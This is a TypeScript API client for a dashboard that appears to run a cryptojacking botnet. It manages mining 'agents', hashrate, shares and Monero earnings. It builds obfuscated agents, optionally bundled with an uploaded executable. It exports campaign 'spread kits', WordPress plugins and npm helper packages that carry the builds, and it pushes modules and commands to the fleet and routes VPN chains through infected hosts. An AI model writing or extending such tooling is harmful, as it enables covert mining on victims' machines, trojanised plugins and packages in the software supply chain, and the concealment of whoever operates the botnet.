import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types'; import { authHeaders, clearStoredAuth } from './auth'; import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download'; const API_BASE = '/api/v1'; /** Forge compiles (garble / universal / fusion) can run 10–30+ minutes. */ export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000; /** Fusion size estimate uploads prep.exe — allow longer than default REST. */ const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000; /** Agent log refresh=1 may block until new lines arrive. */ const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000; // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. function forgeTimeoutError(): Error { return new Error( 'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' + 'Wait longer, disable obfuscation, or forge one target at a time.', ); } async function parseForgeBuildResponse(res: Response): Promise { const text = await res.text(); if (!res.ok) { try { const body = JSON.parse(text) as BuildResponse; if (body.error) { throw new Error(body.error); } } catch (e) { if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) { throw e; } } throw new Error(text.trim() || `Build failed (${res.status})`); } return JSON.parse(text) as BuildResponse; } async function postForgeBuild(url: string, init: RequestInit): Promise { const controller = new AbortController(); const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS); try { const res = await fetch(`${API_BASE}${url}`, { ...init, signal: controller.signal, headers: { ...authHeaders(), ...(init.headers as Record | undefined), }, }); if (res.status === 401) { clearStoredAuth({ expired: true }); } return await parseForgeBuildResponse(res); } catch (e) { if (e instanceof DOMException && e.name === 'AbortError') { throw forgeTimeoutError(); } throw e; } finally { clearTimeout(timer); } } async function fetchJSON(url: string, options?: RequestInit, timeoutMs = 10000): Promise { const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal }; const controller = new AbortController(); const timer = setTimeout(() => controller.abort(), timeoutMs); if (callerSignal) { callerSignal.addEventListener('abort', () => controller.abort()); } try { const res = await fetch(`${API_BASE}${url}`, { ...rest, signal: controller.signal, headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(extraHeaders as Record | undefined), }, }); if (!res.ok) { if (res.status === 401) { clearStoredAuth({ expired: true }); } const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json(); } catch (e) { if (e instanceof DOMException && e.name === 'AbortError') { throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`); } throw e; } finally { clearTimeout(timer); } } export const api = { // Agents listAgents: () => fetchJSON('/agents'), getAgent: (id: string) => fetchJSON(`/agents/${id}`), getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'), getAgentStats: (id: string, limit?: number) => fetchJSON(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`), // Shares getRecentShares: (limit?: number) => fetchJSON(`/shares${limit ? `?limit=${limit}` : ''}`), // Builds listBuilds: () => fetchJSON('/builds'), // Config getConfig: () => fetchJSON('/config'), updateConfig: (config: Partial) => fetchJSON('/config', { method: 'PUT', body: JSON.stringify(config), }), // Builder buildAgent: (req: BuildRequest, prepFile?: File | null) => { if (req.fusion_enabled) { if (!prepFile) { return Promise.reject(new Error('Fusion requires prep.exe upload')); } const form = new FormData(); form.append('config', JSON.stringify(req)); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); return postForgeBuild('/builder/build', { method: 'POST', body: form, }); } return postForgeBuild('/builder/build', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(req), }); }, estimateFusion: (req: BuildRequest, prepFile?: File | null) => { if (!prepFile) { return Promise.reject(new Error('Fusion requires prep.exe upload')); } const form = new FormData(); form.append('config', JSON.stringify(req)); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); const controller = new AbortController(); const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS); return fetch(`${API_BASE}/builder/estimate`, { method: 'POST', headers: authHeaders(), body: form, signal: controller.signal, }) .then(async (res) => { if (res.status === 401) { clearStoredAuth({ expired: true }); } if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json() as Promise; }) .catch((e) => { if (e instanceof DOMException && e.name === 'AbortError') { throw new Error('Fusion estimate timed out — try a smaller prep file or retry.'); } throw e; }) .finally(() => clearTimeout(timer)); }, pinBuild: (buildId: string) => fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }), unpinAll: () => fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }), deleteBuild: (buildId: string) => fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }), setBuildPublic: (buildId: string, isPublic: boolean) => fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, { method: 'PUT', body: JSON.stringify({ public: isPublic }), }), buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, buildArtifactUrl: (buildId: string, fileName: string) => `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`, buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`, // Blueprints (config presets) listBlueprints: () => fetchJSON('/blueprints'), getBlueprint: (name: string) => fetchJSON(`/blueprints/${encodeURIComponent(name)}`), saveBlueprint: (name: string, data: any) => fetchJSON<{ success: boolean; name: string; file_path: string; created_at: string }>('/blueprints', { method: 'POST', body: JSON.stringify({ name, data }), }), deleteBlueprint: (name: string) => fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, { method: 'DELETE', }), // Health / server healthCheck: () => fetchJSON<{ status: string }>('/health'), getServerInfo: () => fetchJSON('/server/info'), rotateFleetSecret: () => fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }), // Fleet ops getAlerts: () => fetchJSON('/alerts'), testAlerts: () => fetchJSON>('/alerts/test', { method: 'POST', }), getPoolStatus: () => fetchJSON('/pools/status'), getAIActivity: () => fetchJSON('/ai/activity'), getEarningsEstimate: (hashrate: number) => fetchJSON(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`), sendAgentCommand: ( id: string, action: string, payload?: Record ) => fetchJSON<{ success: boolean; error?: string }>(`/agents/${id}/command`, { method: 'POST', body: JSON.stringify({ action, ...payload }), }), sendWOL: (id: string, mac?: string) => fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, { method: 'POST', body: JSON.stringify(mac ? { mac } : {}), }), getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>( `/agents/${id}/log${refresh ? '?refresh=1' : ''}`, undefined, refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000, ), downloadAgentLog: async (id: string): Promise => { const res = await fetchAuthedWithTimeout( `${API_BASE}/agents/${id}/log?download=1`, DOWNLOAD_TIMEOUT_MS, ); if (!res.ok) throw new Error(`Log download failed: ${res.status}`); const blob = await res.blob(); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = `agent-${id.slice(0, 8)}.log`; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); }, updateAgentMeta: (id: string, notes: string, tags: string[]) => fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, { method: 'PUT', body: JSON.stringify({ notes, tags }), }), sendBulkCommand: (agentIds: string[], action: string) => fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', { method: 'POST', body: JSON.stringify({ agent_ids: agentIds, action }), }), deleteAgent: (id: string) => fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }), bulkDeleteAgents: (ids: string[]) => fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', { method: 'POST', body: JSON.stringify({ ids }), }), createUser: (username: string, password: string) => fetchJSON<{ success: boolean }>('/users', { method: 'POST', body: JSON.stringify({ username, password }), }), // XMR market price (server-side CoinGecko cache, refreshed every 10 min) getXmrPrice: () => fetchJSON('/market/xmr'), getAudit: () => fetchJSON('/audit'), getFleetTasks: () => fetchJSON('/fleet-tasks'), saveFleetTask: (task: import('../types').FleetTask) => fetchJSON('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }), deleteFleetTask: (id: string) => fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }), getSpreadFunnel: () => fetchJSON('/dashboard/spread-funnel'), listFleetModules: () => fetchJSON('/fleet/modules'), pushFleetPolicy: (body: { agent_ids: string[]; policy: Record; }) => fetchJSON<{ success: boolean; sent?: number; failed?: number; targets?: number; push_id?: string; error?: string }>('/fleet/policy', { method: 'PUT', body: JSON.stringify(body), }), pushFleetModule: (body: { agent_ids: string[]; module: string }) => fetchJSON<{ success: boolean; sent?: number; failed?: number; module?: string; error?: string }>( '/fleet/modules/push', { method: 'POST', body: JSON.stringify(body) }, ), // Public builds (unauthenticated — used on login page) listPublicBuilds: async (): Promise => { const res = await fetch(`${API_BASE}/public/builds`); if (!res.ok) throw new Error(`Public builds ${res.status}`); return res.json(); }, // Emberwake getEmberwakeNotes: () => fetchJSON('/emberwake/notes'), putEmberwakeNotes: (content: string) => fetchJSON('/emberwake/notes', { method: 'PUT', body: JSON.stringify({ content }), }), listCampaignHits: () => fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'), getWarRoom: (days = 7) => fetchJSON(`/emberwake/war-room?days=${days}`), exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => { const res = await fetch(`${API_BASE}/builder/spread-kit-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req), }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); const blob = await res.blob(); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip'; a.click(); URL.revokeObjectURL(url); }, exportWordPressPlugin: async (req: { build_id: string; server_url: string; campaign: string; site_name: string; }) => { const res = await fetch(`${API_BASE}/builder/wordpress-plugin-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req), }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); const blob = await res.blob(); const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site'; const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = `${slug}-wordpress-plugin.zip`; a.click(); URL.revokeObjectURL(url); }, exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => { const res = await fetch(`${API_BASE}/builder/npm-helper-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req), }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); const blob = await res.blob(); const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper'; const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = `${slug}-npm-helper.zip`; a.click(); URL.revokeObjectURL(url); }, // Path Tracer — WireGuard VPN chain sessions startTrace: (agentIds: string[]) => fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', { method: 'POST', body: JSON.stringify({ agent_ids: agentIds }), }), getTraceStatus: (id: string) => fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`), getTraceQR: (id: string) => fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`), deleteTrace: (id: string) => fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }), // Cancel an in-progress forge build by its cancel token. cancelBuild: (cancelToken: string) => fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, { method: 'DELETE', }), // Full deck backup — downloads a zip containing config.json, users.json, miner.db. downloadBackup: async (): Promise => { const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, { method: 'GET', }); if (!res.ok) { const err = await res.text(); throw new Error(`Backup failed ${res.status}: ${err}`); } const blob = await res.blob(); const disposition = res.headers.get('Content-Disposition') ?? ''; const match = disposition.match(/filename="([^"]+)"/); const filename = match ? match[1] : 'aetherforge-backup.zip'; const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = filename; a.click(); URL.revokeObjectURL(url); }, };